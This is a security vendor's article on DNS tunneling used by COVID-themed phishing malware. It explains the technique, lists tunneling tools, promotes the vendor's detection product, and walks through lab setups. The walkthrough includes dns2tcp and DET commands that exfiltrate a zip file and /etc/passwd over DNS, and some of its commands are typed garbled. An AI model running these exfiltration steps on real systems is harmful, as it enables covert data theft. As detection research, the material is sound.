安全研究

News information

战“疫”中,如何防范趁火打劫的恶意攻击?

<<返回

2020年02月13日 17:08

——DNS隧道攻击技术研究与防护

摘要:DNS隧道是攻击者最常用的反向链接通信技术之一,六方云超弦实验室对DNS隧道进行了深入的研究,在六方云神探产品中进行建模和AI算法开发,使得神探产品能够对DNS隐蔽隧道进行精准检测,其准确率达到97%以上,漏报率低于7%。

关键词:钓鱼邮件,木马,DNS隧道,网络攻击,神探,超弦实验室

一、引言

2020年初,一场突如其来的新型冠状病毒肺炎疫情从湖北开始爆发,然后向其它省份蔓延,最终席卷全国,截止2月12日24时,有近6万人被确诊,造成1300多人死亡。目前疫情还未结束,确诊人数和死亡人数都可能还会继续增加。

在全国人民同心战“疫”的关键时刻,却有网络不法分子利用新型冠状病毒相关题材,冒充国家卫生健康委员会、疫情防疫等相关部门,向我国部分单位和用户投放与新型肺炎疫情相关的钓鱼邮件,钓鱼邮件附带恶意链接与包含恶意代码的office文档附件,利用仿冒页面实现对用户信息的收集,诱导用户执行恶意文档中的宏,向受害用户主机上植入木马程序,实现远程控制和信息窃取。

受害用户主机被植入木马程序以后,木马程序会反向链接到C&C服务器,最常见的链接方式之一就是通过DNS隐蔽隧道,以规避防火墙、入侵检测系统等网络安全设备的检测。

二、DNS隧道是什么

MITER ATT&CK攻击技术知识库的“命令与控制(Command and Control)”分类下有一种技术叫做“标准应用层协议”(Standard Application Layer Protocol),即攻击者可以使用通用的、标准化的应用层协议(如HTTP、HTTPS、SMTP或DNS)进行通信,以避免与现有通信混合而被发现。到远程被控系统的命令,以及这些命令返回的结果,将被嵌入到这些协议的客户端和服务端之间的协议通信中。这种利用标准协议传递数据的方式称为隧道。DNS隧道(DNS Tunneling)就是攻击者常用隧道技术之一,DNS隧道可以将其他数据内容封装在DNS协议中,然后以DNS请求和响应包完成数据传输。

DNS(域名系统,Domain Name System)是一种分布式网络目录服务,主要用于域名与 IP 地址的相互转换,以及控制因特网的电子邮件的发送。DNS是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。DNS是Internet上解决网上机器命名的一种系统,就像拜访朋友要先知道别人家怎么走一样,Internet上当一台主机要访问另外一台主机时,必须首先获知其地址,TCP/IP中的IP地址是由四段以“.”分开的数字组成,记起来总是不如名字那么方便,所以,就采用了域名系统来管理名字和IP的对应关系。DNS分为正向与反向域名解析,C/S架构,端口为TCP:53和UDP:53,属于应用层协议。

三、DNS隧道对网络的危害

当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备出于可用性和用户友好的考虑将很难做到完全过滤掉DNS流量,因此将攻击命令或窃取的敏感数据藏匿于DNS协议中进行传输是一种隐蔽且有效的攻击手段。当攻击者通过恶意软件、蠕虫、木马、密码爆破等手段拿下企业内部某台主机或服务器权限后,就可以通过建立DNS隧道达到控制受害主机、窃取敏感数据、回传控制指令、回弹Shell等目的。众多研究表明DNS 隧道在僵尸网络和APT攻击中扮演着至关重要的角色。

四、DNS隧道原理

DNS隧道利用DNS请求和响应来承载经过编码或加密的数据内容(控制命令、回传信息等),攻击者首先会建立或接管某个域名(如www.baidu.com)的DNS服务器,使得对该域名的所有子域解析请求最终到达该台DNS服务器上。在受控主机上发起对该域名的解析请求,经过DNS服务器之间的迭代查询中转,最终到达攻击者建立或控制的DNS服务器,一条通信信道就这样在受控主机和攻击者的DNS服务器之间建立了。

01.jpg

DNS隧道依据其实现方式大致可分为直连和中继两类:

直连:用户端直接和指定的目标DNS服务器建立连接,然后将需要传输的数据编码后封装在DNS协议中进行通信。这种方式的优点是具有较高速度,但蔽性弱、易被探测追踪的缺点也很明显。另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。

中继隧道:通过DNS迭代查询而实现的中继DNS隧道,这种方式极其隐秘,且可在绝大部分场景下部署成功。但由于数据包到达目标DNS服务器前需要经过多个节点的跳转,数据传输速度和传输能力较直连会慢很多。

目前,DNS隧道技术已经很成熟,相关工具也很多,而且不同工具也各具特色。目前比较活跃的有iodine、dnscat2、dns2tcp、ozymandns 、det等。

(1)、iodine:最活跃、速度最快、支持直连和中继模式,且支持丰富的编码、请求类型选择。

(2)、dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell。

(3)、dnscat2:封装在DNS协议中的加密C&C信道,直接运行工具即可实现数据传输、文件操作等命令和控制功能。

(4)、ozymandns:较早的一个DNS隧道工具,它基于perl开发,使用较复杂。

(5)、det: 原名Data Exfiltration Toolkit使用起来非常方便。支持通过http、google_docs、dns、gmail、tcp、udp、twitter和icmp等方式泄露数据.

五、DNS隧道检测

DNS隐蔽隧道检测是识别高级威胁以及未知威胁必不可少的关键技术能力之一。由于DNS隧道具有隐蔽性和多变性等复杂特征,传统的网络入侵检测产品较难识别或易被绕过。针对传统安全产品对DNS隧道攻击利用检测束手无策的问题,六方云超弦实验室对DNS隧道进行了深入的研究,在六方云神探产品中进行建模(异常内联和异常外联模型)和AI算法(simrank、聚类、极值分布等)开发,使得神探产品能够对DNS隐蔽隧道进行精准检测,其准确率达到97%以上,漏报率低于7%。

六方云神探Sherlock产品是一个未知威胁检测与回溯系统(UTDR),采用基于AI的第三代智能安全引擎,不依赖签名库,采用数据探针+平台协同联动的工作模式,可以发现未知威,检测变种威胁,进行精准威胁告警。

03.jpg

六、DNS隧道测试环境搭建

为了对DNS隧道技术细节进行研究,并验证神探产品检测DNS隧道利用的效果,六方云超弦实验室搭建了大量的测试验证环境。

下面就简单介绍下两个DNS隧道的搭建及验证过程。

6.1 利用dns2tcp搭建C&C信道实验

6.1.1、原理概述

本次实验拟使用局域网内两台虚拟机模拟搭建DNS隧道,然后基于已建立的DNS隧道构建C&C信道。

复现实验如下图:

04.png

如图所示,命令与控制通信流量在主机外部(如网络边界)看来全部为DNS查询和响应数据包,即C&C的服务端和受控端实现了“透明传输”,在主机外部利用DNS进行了很好的隐藏,并突破了网络限制。整个过程大致如下:

(1) 在受控主机端,控制程序(恶意软件、木马等)将实际的C&C通信数据通过本地端口(如127.0.0.1:5353)输入给隧道工具客户端。

(2) 隧道工具客户端按照DNS协议要求将C&C通信数据进行封装。

(3) 携带C&C通信数据的DNS查询请求通过DNS协议的53号端口发送到攻击者控制的DNS服务器。

(4) 攻击者控制的DNS服务器接收到查询请求后,隧道工具服务端会按照对应规则从请求数据包中提取出C&C通信数据,并转发给事先设置好的C&C服务器 (也可以是本机的其它端口)。

(5) C&C服务器接收到C&C通信数据后,做出响应,响应数据依然发送给隧道工具服务端。

(6) 隧道工具服务端对响应数据同样按照DNS协议封装为对应(请求序列号)的DNS响应数据包,通过DNS隧道发送到受控端。

(7) 受控端上的隧道工具客户端从接收到的DNS响应数据包中提取C&C通信数据,交付给对应控制程序,然后按照事先设置好的规则解析后执行命令和控制操作。

6.1.2、复现过程

 (1)、在作为控制端的主机上安装dns2tcp(Ubuntu主机,以root用户执行命令安装)

su - #进入root用户

apt-get install update

apt-get install dns2tcp #实际上是同时安装了dns2tcp的客户端和服务端

05.png

(2)、 更改以下配置

更改配置文件

06.png

更改后如下图:

07.png

(3)、 启动服务端:dns2tcpd -F -d 2 -f /etc/dns2tcpd.conf

08.png

(4)、在作为客户端的主机上安装dns2tcp(Ubuntu主机,以root用户执行命令安装)

apt-get install dns2tcp

09.png

 (5)、启动客户端: dns2tcp -c -d 2 -l 8080 -r nc -z abc.6cloudai.com

10.png

(6)、 服务端上监听并保存pcap

tcpdump -i eth0  dst  port 53 -w testdns2tcp.pcap

11.png

(7)、传输文件测试

服务端:nc -l 8080 > ssss.zip

12.png

客户端:nc -n 127.0.0.1 8080 < master.zip

13.png

完成后 服务端:多出ssss.zip (传输过来的zip文件)和testdns2tcp.pcap(抓包的流量)

14.png

(8)、查看抓包流量:

15.png

6.2 使用DET搭建C&C信道实验

DET(https://github.com/sensepost/DET)是一个数据泄露工具集。

使用起来非常方便。支持通过http、google_docs、dns、gmail、tcp、udp、twitter和icmp等方式泄露数据。

6.2.1、复现步骤

复现实验主要有:工具安装 ==》DNS隧道搭建 ==》C&C信道通信。

6.2.2、安装和复现

(1) 分别克隆项目到服务端主机上和客户端主机上

gitclonehttps://github.com/sensepost/DET.git

然后安装依赖:

pipinstall-rrequirements.txt -user

16.png

(2) 服务端配置

./config.json 文件中删除不必要的配置

17.png

/DET/plugins目录中删除不必要的配置文件

18.png

(3) 客户端配置

./config.json 文件信息填写和服务端一致

19.png

删除/DET/plugins目录中不必要的配置文件

20.png

(4) 启动服务端监听

python det.py -L -c ./config.json -p dns

21.png

(5) 启动客户端监听

python det.py -c ./config.json -p dns  -f /etc/passwd

22.png

(6) wireshark抓包分析

23.png

七、结论

DNS是因特网的一项核心服务,是一个应用非常广的应用层协议,其本身技术特点给了攻击者利用的机会,攻击者可利用DNS隐蔽隧道躲避检查。由于DNS隧道具有隐蔽性和多变性等复杂特征,传统网络入侵检测产品较难识别或易被绕过。六方云超弦实验室对DNS隧道进行了深入的研究,在六方云神探产品中进行建模和AI算法开发,使得神探产品能够对DNS隐蔽隧道进行精准检测,其准确率达到97%以上,漏报率低于7%。